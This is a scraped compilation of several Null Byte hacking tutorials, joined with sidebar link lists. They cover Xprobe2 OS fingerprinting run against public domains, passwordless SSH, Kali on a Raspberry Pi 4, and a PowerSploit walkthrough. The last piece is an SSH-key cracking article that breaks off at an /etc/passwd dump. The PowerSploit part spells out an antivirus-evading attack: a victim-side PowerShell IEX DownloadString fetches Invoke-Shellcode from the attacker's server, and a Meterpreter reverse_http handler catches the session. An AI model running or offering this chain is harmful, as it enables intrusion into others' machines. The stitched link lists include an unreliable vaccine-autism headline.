cookiesNews:Vincent Laforet HDDSLR Session OnlineHow To:Get the New Google Navigation MenuHow To:Make Sierpinski Carpet CookiesHow To:Your Guide to Lazy Baking, Part 5: How to Bake Cookies Using Cake MixHow To:Make Chocolate Chip CookiesNews:LEGO Cookie RollerNews:Me want CookieNews:Me Want CookieGHOST PHISHER:Security Auditing ToolHow To:How did it goNews:If You Give an Artist a Cookie...Recipe:Hostess Cake Inspired CookiesNews:Eat Your WordsNews:FaceNiff App Allows Android Users to Hack FacebookNews:Raw Mint Chocolate Cookies
Hack Like a Pro: How to Conduct OS Fingerprinting with Xprobe2 « Null Byte :: WonderHowTo
Welcome back, my novice hackers!I've written a couple of articles onreconnaissanceand its importance, and as I've said before, a good hacker will spend 3 to 4 more times doing reconnaissance than actually exploiting the system. If your recon isn't good, you'll likely fail, or worse—end up serving time and becoming Bubba's wife for a couple years. I can't say it enough—recon is critical.Among the information we need to gather are the open ports, running services, and the operating system. Although such tools asnmapandhping2can do operating system fingerprinting, they are not as accurate and reliable as the tools that are built specifically for this purpose.In this tutorial, we'll use one of the bestactivetools for doing OS fingerprinting,xprobe2, which is an active OS fingerprinter, meaning that it actually sends probes to the target system, then gauges the OS from the system's response. In total, xprobe2 has 16 different modules it runs to help determine the OS.It probably goes without saying that any fingerprinter that's probing with special packets is going to be noisy and likely detected byNIDSand other security systems.Step 1: Find xprobe2Like so many other great hacker tools, xprobe2 is included in ourBackTrackdistribution. To find it, type:whereis xprobe2As you can see from the screenshot above, it's in the/usr/local/bin, so if that directory is in our PATH variable, we can use xprobe2 from any directory.Step 2: Find HelpNow, let's get some basic help to run xprobe2 for OS fingerprinting.xprobe2The syntax for running an xprobe2 fingerprint is really straightforward. We simply need the command and the target.xprobe2 <target domain or IP>Step 3: Fingerprint with xprobe2Now, let's point xprobe2 at some systems and see what it's able to tell us. I'll first point it at my Windows 2003 Server VM.As you can see, xprobe2 identified it as Windows XP (100%) and Windows 2003 Standard Edition (100%). As these are the same Windows build, this is not surprising.When I run nmap with OS fingerprinting (nmap -O), I get similar results.Step 4: Fingerprint an Unknown SystemNow, let's try fingerprinting an unknown system. For example, google.com.xprobe2 google.comXprobe2 tells us with 100% probability that the system is Foundry Networks Ironware. This is the gigabit switch on the google.com domain.Xprobe2 then identifies, with lower probability of being correct, the Linux kernel version of the server. This is good example of how imperfect even very good products are and require some knowledge and skill to interpret the results.Step 5: List xprobe2 ModulesAs I mentioned earlier, xprobe2 has 16 modules that it uses to try to determine the operating system of the target. It uses each of them to try to determine the probability of its guess. Let's look at those modules.xprobe2 -LBy default, xprobe2 uses all of its modules, but we can remove modules by using the-Dswitch. For instance, on many networks theicmp moduleswill hang and you may need to remove these modules to get xprobe2 to work. To run xprobe2 without the icmp port unreachable module (#11), we could run xprobe2 like this:xprobe2 -D 11 google.comStep 6: Test Another Public DomainLet's try xprobe2 on another public domain, such as espn.com.xprobe2 espn.comAs we can see, xprobe2 tells us that it has determined with a 92% probability that espn.com is running OpenBSD 3.4. It also shows us that espn.com might be running a different version (3.5-3.7) of OpenBSD, but it's pretty certain it's OpenBSD.Xprobe2, like nmap and hping, is an essential reconnaissance tool that should be in every hacker's toolbox. If you have questions on this or any hacking recon, ask below in the comments.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseFingerprint photovia ShutterstockRelatedHack Like a Pro:How to Hack into Your Suspicious, Creepy Neighbor's Computer & Spy on HimHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Fingerprint-Lock Apps on Android Without a Fingerprint ScannerHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHow To:Use Your Fingerprint Scanner to Do Almost Anything with TaskerHow To:Lock Any App with a Fingerprint on Android MarshmallowHow To:Lock Apps Using Your Samsung Galaxy S6’s Fingerprint ScannerNews:Latest Huawei Mate 20 Rumors & Leaks — Face ID, Massive Battery & Wireless ChargingHow To:Obscure your OS fingerprintHow To:Unlock Your Mac Using Your iPhone's Touch ID or Lock Screen PasscodeAndroid Basics:How to Unlock Your Phone with Your FingerprintHow To:Get the Pixel's Fingerprint Swipe Notification Gesture on Other DevicesNews:10 Great 99 Cent Apps You Need on Your Android Right NowHack Like a Pro:How to Use the New p0f 3.0 for OS Fingerprinting & ForensicsNews:Researchers Find 'MasterPrints' That Can Bypass Your Phone's Fingerprint ScannerHow To:Turn Off Your Android's Screen with Your Fingerprint ScannerHow To:This Hack Lets You Touch Your Galaxy's Home Key Instead of Pressing ItHow To:Make the Fingerprint Scanner Work Faster on Your Galaxy DeviceNews:OnePlus 5 Looks to Have a Rear Fingerprint SensorHow To:Secure Any Android App with Your FingerprintNews:New Biometrics Update Makes the Galaxy S10's Fingerprint Scanner 4 Times FasterHow To:Use All 10 Fingerprints for Touch ID on Your iPhone — Not Just 5 of ThemHow To:Use Your Phone's Fingerprint Scanner to Unlock Your Windows PCNews:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eHow To:Use BeEF and JavaScript for ReconnaissanceNews:Google Pixel's Pros & ConsHack Like a Pro:How to Fingerprint Web Servers Using HttprintNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Unlock Your Fingerprint-Protected Galaxy S5 Using Only One HandHow To:Add Quick App Shortcuts to the in-Display Fingerprint Scanner on Your OnePlusNews:Samsung Scraps In-Display Fingerprint Scanner for Galaxy Note 8News:This Hack Turns Your iPad into a Multi-Window Multitasking Powerhouse for $10Gadget Hacks' Wish List:Features We Want in Android NNews:Fingerprint LibraryVaccine bombshell:Baby monkeys develop autism after routine CDC vaccinationsNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreNews:New Apps Let You Sign into Bank of America, Chase, & State Farm with Your FingerprintNews:Obama and Congress Approve Resolution that Supports UN Internet TakeoverNews:Unknown, but They Shouldn't Be.News:Fantasia 2000 (2000)
How to Safely Log In to Your SSH Account Without a Password « Null Byte :: WonderHowTo
SSH is amazing, and we praise its existence onNull Byteformanyreasons. Notably, it allows us to reroute our traffic through encrypted ports on our local host to be sent to its destination when on the go. You can even control your home computers remotely over a secure and encrypted connection. This is handy for amultitudeof reasons.However, if you've been using SSH for a while, you probably know that it can be a bit tedious at times. I find entering my shell password over and over again tedious, at least as much as I reboot (which is often). Since I use SSH to host an IRC bot, I need it to be accessible 24/7, whenever I feel like changing something. A logical step would be to create a daemon to automatically start the forwarded connection at boot, but it will still ask you for a password.To avoid further tedium, today's Byte will be showing you how to usekey-basedauthentication without the use of a password over SSH. This will allow fordecentsecurity with an automatic daemon for all of our programs to tunnel thorough on startup.RequirementsSSH client installedLinux or OS XRemote shell that you can log intoPasswordless SSHThe process of creating a passwordless login begins by generating a private and public SSH key-pair. When generating the key, if you do not use a password, it will be a simple key-exchange that happens on the server if it has your public key stored on it.That means we need to first log into our shell, then leave it open in another tab to avoid getting locked out. For instructions on proceeding, follow me in the video below.Please enable JavaScript to watch this video.The Commandsssh-keygen -b 4026 -t rsa -C"$(id -un)@$(hostname)-$(date --rfc-3339=date)"cat .ssh/id_rsa.pubCopy & paste to~/.sshon remote host.Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage by123rfRelatedHow To:Hack Metasploitable 2 Part 1How To:Spy on SSH Sessions with SSHPry2.0SPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Enable Windows 10 Admin to Remove User Account Control PopupsHow To:Manage Stored Passwords So You Don't Get HackedHow To:Use Your Saved Passwords from Google Chrome to Log into Android AppsSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Grant Other People Access to Your Gmail Account Without Sharing Your PasswordHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:SSH into your iPhone/iPod TouchHow To:Find log-ins and passwords in Firefox 3 on a PC or MacHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Log into Your Favorite Websites Using Your Phone's CameraHow To:Bypass the Password Login Screen on Windows 8How To:Have Your Friends Ever Used Pandora on Your Computer? Well, You Can Steal Their PasswordsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:SSH into your iPhone or iPod Touch w/o wifiFacebook Messenger 101:How to Keep Your Account When Deactivating FacebookHow To:Find & Change Weak Reused Passwords to Stronger Ones More Easily in iOS 12How To:Give Your Friends Access to "Inbox by Gmail" Without Any InvitesNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Set Up Two-Factor Authentication for Your Accounts Using Authy & Other 2FA AppsHow To:It's Really No Contest — LastPass Is the Best Password Manager for iPhone & AndroidHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:log on Windows 7 with username & passwordHow To:Really Connect Your Words with Friends Mobile Account to FacebookHow To:Search for Google+ Posts & Profiles with GoogleHow To:Remove a Windows Password with a Linux Live CDHow To:Create an SSH Tunnel Server and Client in LinuxMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Download Your Data with Google TakeoutHow To:Make Your Laptop Theft ProofHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Edit Your Google+ Account SettingsHow To:enter a coupon codeHow To:Push and Pull Remote Files Securely Over SSH with Pipes
How to Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking Station « Null Byte :: WonderHowTo
In 2019, the Raspberry Pi 4 was released with specs including either 1 GB, 2 GB, or 4 GB of memory, a Broadcom BCM2711B0 quad-core A72 SoC, a USB Type-C power supply, and dual Micro-HDMI outputs. Performance and hardware changes aside, the Pi 4 Model B runs Kali Linux just as well, if not better, than its predecessors. It also includes support for Wi-Fi hacking on its internal wireless card.For hackers interested in a cheap Kali Linux computer capable of hacking Wi-Fi withouta separate wireless network adapter, the Pi 4 Model B is a great way to run Kali without needing a virtual machine. Thanks to the number of Wi-Fi hacking tools included in Kali Linux, the new Pi 4 Model B represents a complete Ethernet and Wi-Fi hacking kit for beginners.Hacking on a $45 ComputerThe reasons for using aRaspberry Pias a hacking computer are many. Previous Raspberry Pi versions have proved that it doesn't take expensive hardware to run tools in Kali Linux. Virtual machines can behave unpredictably, especially when working with Wi-Fi hacking. Plus, it's sometimes more straightforward to run Kali on hardware rather than in a virtual machine.Another advantage to the Raspberry Pi is that it can easily be used in combination with a device like an unmodified iPhone or Android smartphone. If your smartphone supports creating a Wi-Fi hotspot, it's simple to connect the Pi to your hotspot and control it over SSH. If your smartphone can't create a hotspot, the Pi can also host its own Wi-Fi network, allowing you to join the network created by the Pi on your phone and SSH into it on the go.Wi-Fi Hacking Without a Network AdapterOne of the most exciting things about using a Raspberry Pi for hacking is the add-on of the Nexmon firmware. The addition makes it possible to put the built-in Wi-Fi network adapter intomonitor mode. That means it's possible to do things like grab WPA handshakes, listen in on Wi-Fi traffic, and execute attacks likeWPS-Pixiewithout needing a separate compatible Wi-Fi network adapter.For someone interested in getting started with Wi-Fi hacking, the Raspberry Pi 4 Model B provides a Kali-supported Wi-Fi network adapter and an onboard computer capable of basic cracking and MiTM attacks in a single package. The increase in speed and power of the Pi 4 Model B make it a more capable networking device as well as a more capable computer.While the internal network adapter is capable of doing all the things we want it to do, the process for putting it into monitor mode is a little different from the previous Raspberry Pi. Rather than using the familiarairmon-ng startcommand, we'll be using a new command to add the network card as a device in monitor mode manually.What You'll NeedTo get started, you'll needone of the new Raspberry Pi 4 Model B options. You'll also need some accessories to power and interact with the board, starting witha compatible USB Type-C adapter.After the release of the Pi 4 Model B, it became clear that the specification for the USB-C standard had not been followed. Thanks to the omission of a resistor, the new Pi 4 Model B can't be used with "smart" charging cables that can adjust themselves to the voltage of anything they are plugged into. Plugging an unsupported smart charging cable, like a Macbook Pro USB-C cable, won't be able to power the Pi 4 Model B.Aside from a supported USB-C cable, you'll also needa Micro-HDMI adapter. The twin Micro-HDMI ports on the Pi 4 Model B are really tiny and can easily be confused with Micro-USB cables, but the two are not compatible.As with the other models of Raspberry Pi, you'll need to supply amicro SD card,card reader,keyboard, andmouse, as well as amonitor of some sortto get started working with the Pi. After the initial setup, you should be able to access the Pi without a keyboard or mouse by logging in over a network with SSH.On Amazon:CanaKit Raspberry Pi 4 Starter Kit with 32 GB MicroSD, Official Case, Power Supply & MoreStep 1: Download the Kali Disk ImageThe first step will be to determine which disk image you want to use for the Pi 4 Model B and download it so that you can burn it to the microSD card. There are two places we can get this disk image:the official Kali websiteor fromthe Whitedome websitefor the "Sticky Fingers" Kali build that includes some useful modifications.In testing, I found the "Sticky Fingers" build had a few issues, so for now, I'd recommend going with the official Kali version for a guaranteed stable build. If you want the extras that come from using the "Sticky Fingers" build, you can download that image fromthe Whitedome website.Otherwise, I recommend you download the file either directly or via a torrentfrom the Kali Linux download page.Step 2: Load the MicroSD Card Using EtcherTo flash the Kali Linux image to the Pi 4 Model B's microSD card, plug the microSD card into your computer, either directly or via a card reader, anddownload Etcher from its official website. Follow the on-screen prompts to install it, then open Etcher when it's done installing. In the window that appears, click the blue button that says "Select image," then load the Kali image.Next, click the blue button that says "Select drive," and make sure you've selected the microSD card and not your hard drive. I know, how could you do that? Well, I've seen people try.Finally, click the blue "Flash!" button to flash the Kali image to your microSD card.This should take around 15 minutes or so. Once it's done, eject the microSD card and insert it into your unpowered Raspberry Pi 4 Model B.Step 3: Connect & Update the Raspberry PiWith the newly flashed microSD card in the Raspberry Pi 4 Model B, plug it into power, and plug the Micro-HDMI cable into a monitor. Plug in a keyboard and mouse to the Pi 4 Model B's USB ports, and wait for it to boot to the loading screen.Once at the Kali loading screen, enter the default login and password,rootandtoor, to log in. After logging in, we'll need to update and upgrade Kali Linux for the installation to work. Packages have likely been moved, updated, or otherwise changed since our download was created, so this step ensures that we've downloaded the most recent version of all installed packages.First, connect to the internet via Wi-Fi or Ethernet, and then open a terminal window and run the following command. Keep in mind that it can take up to an hour to upgrade on a slow connection.~# apt update && apt upgradeOnce you've updated and upgraded your system, you'll be ready to take the first steps in changing default credentials and SSH keys.Step 4: Change the Root Password & SSH KeysUsing default SSH keys is terrible and can lead to being the victim of a man-in-the-middle attack. Because of this, we'll need to change our default SSH keys and enable SSH to run at boot to safely communicate with our Raspberry Pi 4 Model B over SSH.In your terminal window, enter the following commands to change directory into the folder containing the SSH keys and reconfigure the server.~# cd /etc/ssh/ ~# dpkg-reconfigure openssh-serverThat should create new SSH keys. Next, we'll run a few commands to enable runlevels for SSH and allow us to start the service at boot so we can log in remotely.~# update-rc.d -f ssh remove ~# update-rc.d -f ssh defaults ~# nano /etc/ssh/sshd_configIn the nano window that opens, make sure that "PermitRootLogin" is un-tabbed to allow root login. After this is done, you can hitControl-xto exit the nano window after applying the changes.Next, typesudo service ssh restartto apply these changes. Finally, typeupdate-rc.d -f ssh enable 2 3 4 5to enable SSH at boot with the settings we've applied.~# sudo service ssh restart ~# update-rc.d -f ssh enable 2 3 4 5Finally, we'll need to change the root password fromtoor. To do this, typepasswd rootand select a new password.~# passwd root Enter new UNIX password: Retype new UNIX password: passwd: password updated successfullyNow, our Pi should be updated, upgraded, and have a unique password and SSH keys. This will prevent it from being targeted by tools likeRpi-hunter.Don't Miss:Discover & Attack Raspberry Pis Using Default CredentialsStep 5: Put the Internal Card into Monitor ModeNext, we're going to put our card into wireless monitor mode, which will allow us to do a couple of useful things, including grab WPA handshakes and listen in on network traffic. The way we will do this is by creating a monitor interface, rather than callingairmon-nglike usual. This is because we'll be using the Nexmon patch, a firmware update that allows the Pi's internal card to be put into monitor mode. To use it, open a terminal window and type the following commands.~# iw phy `iw dev wlan0 info | gawk '/wiphy/ {printf "phy" $2}'` interface add mon0 type monitor ~# ifconfig mon0 up ~# ifconfigYou should now see a new interface called "mon0" which is in monitor mode and ready to be used. If this didn't work, you can try these commands instead.~# sudo iw phy phy0 interface add mon0 type monitor ~# ifconfig mon0 up ~# ifconfigNow, to test the card, we can useairodump-ngto see if it's working and collect information about nearby networks. Type the following, and you should see nearby Wi-Fi networks begin to appear.~# airodump-ng mon0We can also run a test for packet injection using the following command.~# aireplay-ng --test mon0If you see a successful test on your screen, then it's working! You've got a monitor mode interface on your Raspberry Pi.There Aren't Many Surprises Running Kali on the New PiWhile the new Raspberry Pi comes with considerable hardware upgrades, the process of loading and using Kali Linux remains almost unchanged. The Pi 4 Model B makes it easy for aspiring hackers to load Kali or other operating systems, and the advantage of not needing a separate Wi-Fi network adapter makes it a perfect option for anyone wanting a low-cost, dedicated Kali Linux hacking computer.I hope you enjoyed this guide to loading Kali Linux on the Raspberry Pi 4 Model B! If you have any questions about this tutorial on hacking with the Raspberry Pi 4, leave a comment below, and feel free to reach me on [email protected]'t Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxRaspberry Pi:Hacking PlatformHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyRaspberry Pi:Physical Backdoor Part 1How To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Modify the USB Rubber Ducky with Custom FirmwareRaspberry Pi:MetasploitHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with Bully
Hack Like a Pro: How to Use PowerSploit, Part 1 (Evading Antivirus Software) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!A few years back, Microsoft implicitly recognized the superiority of the Linux terminal over the GUI-based operating system by developing PowerShell. Since Windows 7, every Windows operating system has had PowerShell installed by default, and they even made PowerShell capable of running Linux commands on Windows!PowerShell is a powerful environment to get just about anything done in Windows, including scripting. Unfortunately, few administrators use it and some don't even know it exists.Don't Miss:Scripting for the Aspiring Hacker: Windows PowerShellAs hackers, PowerShell can be a formidable ally in our efforts to take control of a system. If we can access a system's PowerShell, we can use its power to control—and maintain control—of the target system. In addition, if we can run our commands and scripts in the PowerShell context, we can evade most antivirus (AV) software and leave little or no evidence behind.Fortunately for us, a series of PowerShell scripts have been developed byMatt Graeberthat can help us control and manipulate a target system. These specially crafted scripts are known collectively asPowerSploit. Thankfully, they are built intoKali. If you are not using Kali, you can download themhere.Step 1: Start PowerSploitTo start, let's fire up Kali. To start PowerSploit, simply go to Kali Linux -> Maintaining Access -> OS Backdoors -> powersploit. Or, simply navigate to/usr/share/powersploitfrom a terminal.This will open a terminal at/usr/share/powersploit.We can see each of the PowerSploit script directories by doing along listing.kali > ls -lAs you can see, we have eight PowerSploit directories.AntivirusBypassCodeExecutionExfiltrationPersistencePEToolsReconReverseEngineeringScriptModificationIn this tutorial, we will be using a script from the CodeExecution directory calledInvoke-Shellcode.Step 2: Start a Web ServerFor this next step, we need to start a web server on our Kali system to serve up our PowerSploit commands to the victim machine. There are many ways to do this; You could, for instance, copy the PowerSploit directory to/var/www/htmland start the Apache web server.A simpler and more elegant solution is to start a simple Python web server in the PowerSploit directory. We can do this by typing while in the PowerSploit directory.kali > python -m SimpleHTTPServerNow, we have a web server started in the PowerSploit directory. This means that anyone who accesses that web server will have access to that directory on our Kali system.Step 3: Start PowerSploit on the VictimFor this entire hack, we are assuming that you already have access to the target machine and are trying to get a Meterpreter shell without triggering the AV software. For our purposes here, we are assuming you have a GUI on the target system with RDP or VNC.Start PowerShell on the victim system by going to the Start menu and typing PowerShell in the search window.Click on the PowerShell icon and start PowerShell on the victim machine.Step 4: Open a Browser & Navigate to Our Web Server on KaliFrom the Windows 7 target system, we can now navigate to the web server on Kali.As we can see, all the PowerSploit scripts are available on our web server for downloading to the victim.Step 5: Start a Multi/Handler in KaliWe will need a multi/handler on the Kali system to receive the communication with the Meterpreter from the target system. Start the Metasploit console by typing:kali > msfconsoleTo start the multi/handler, we need the following commands:msf > use exploit/multi/handlermsf > set PAYLOAD windows/meterpreter/reverse_httpmsf > set LHOST 192.168.181.128msf > set LPORT 4444msf > exploitAs you can see in the screenshot above, we now have a handler awaiting a connection from the victim system.Step 6: Download the PowerSploit ScriptOn the Windows 7 system, we will next be using PowerShell to download the PowerSploit script from our Kali system via our simple Python web server. We can do this by typing:> IEX(New-Object Net.WebClient).DownloadString ("http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1 ")On our Kali system, we can see that the Windows 7 system web server has been hit with a GET request from the Windows 7 system. This effectively downloaded ourInvoke-Shellcodescript to the Windows 7 machine.Back at the Windows 7 system, we now want to run that PowerSploit script. If we have done everything correctly, the running of this script will start a Meterpreter session on the Windows 7 machine within the context of the PowerShell process.PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 -ForceStep 7: Look for a Meterpreter Session on KaliNow, let's return to out Kali system and look to see whether a Meterpreter session has been opened. Let's go back to msfconsole where we had a multi/handler waiting for a connection and type.sessions -lThis should list all the sessions opened.Success! We got a Meterpreter session on the victim PC. The beauty of this session is that the Meterpreter shell is running in the context of the PowerShell process and will not be picked up by AV software. In addition, the Meterpreter is running entirely in memory so it will not leave any evidence on the hard drive.Keep coming back, my greenhorn hackers, as we further explore further PowerSploit scripts, and the most valuable skill set of the 21st century—hacking.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1How To:Remove Antivirus Pro from your computer with SpyhunterHow To:Remove the Palladium Pro rogue malware from your computerHow To:Remove AntiVirus Pro from your computerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Evade AV Software with ShellterAdvice from a Real Hacker:How to Know if You've Been HackedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Identify Antivirus Software Installed on a Target's Windows 10 PCHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)News:What to Expect from Null Byte in 2015How To:The Definitive Guide to Android MalwareNews:Samsung Preinstalls McAfee Bloatware on Your S8 & It's Neither Great nor FreeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Remove Personal Antivirus from your Windows PCHow To:The Ultimate Guide to Hacking macOSHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow To:Make sure your antivirus software is legitimate and not rogue spamwareHow To:Android's Built-In Scanner Only Catches 15% of Malicious Apps—Protect Yourself with One of These Better AlternativesHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHack Like a Pro:How to Evade AV Detection with Veil-EvasionLockdown:The InfoSecurity Guide to Securing Your Computer, Part ILevitation Challenge:Evading ArrestWindows Security:Software LevelTHE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?News:Some Great Articles on Evading AV Software
How to Crack SSH Private Key Passwords with John the Ripper « Null Byte :: WonderHowTo
Secure Shell is one of the most common network protocols, typically used to manage remote machines through an encrypted connection. However, SSH is prone to password brute-forcing. Key-based authentication is much more secure, and private keys can even be encrypted for additional security. But eventhatisn't bulletproof since SSH private key passwords can be cracked using John the Ripper.SSH Key-Based AuthenticationThe standard way of connecting to a machine viaSSHusespassword-basedauthentication. This has the advantage of being easier to set up but suffers security-wise due to being prone tobrute-forcingand password guessing.Key-based authentication, on the other hand, usescryptographyto ensure secure connections. A key pair is generated consisting of a public and private key. The private key should be kept secret and is used to connect to machines that have the matching public key.Don't Miss:Intercept & Decrypt Windows Passwords on a Local NetworkThe public key is used toencryptcommunication that only the associated private key can decrypt. This makes it nearly impossible for hackers to compromiseSSH sessionsunless they have access to the private key.The below steps assume you have already gained access to a target computer from your local machine. I'm usingKali Linuxas the local box.Step 1: Create a New User on the TargetTo begin, let'screate a new useron the target for demonstration purposes. Use theaddusercommand, and enter a new password at the prompt:target:~$ sudo adduser nullbyte Adding user `nullbyte' ... Adding new group `nullbyte' (1003) ... Adding new user `nullbyte' (1003) with group `nullbyte' ... Creating home directory `/home/nullbyte' ... Copying files from `/etc/skel' ... Enter new UNIX password: Retype new UNIX password: passwd: password updated successfullyNext, verify the information is correct. It's OK to just leave everything blank:Changing the user information for nullbyte Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [y/N] yWe can verify the new user was added successfully by viewing /etc/passwd:target:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false 